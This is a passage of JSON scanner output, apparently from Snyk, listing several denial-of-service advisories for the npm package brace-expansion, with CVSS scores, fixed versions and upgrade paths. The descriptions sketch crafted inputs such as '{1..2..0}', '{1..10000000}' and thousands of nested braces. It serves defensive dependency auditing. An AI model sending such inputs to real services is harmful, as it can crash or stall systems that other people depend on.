"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", 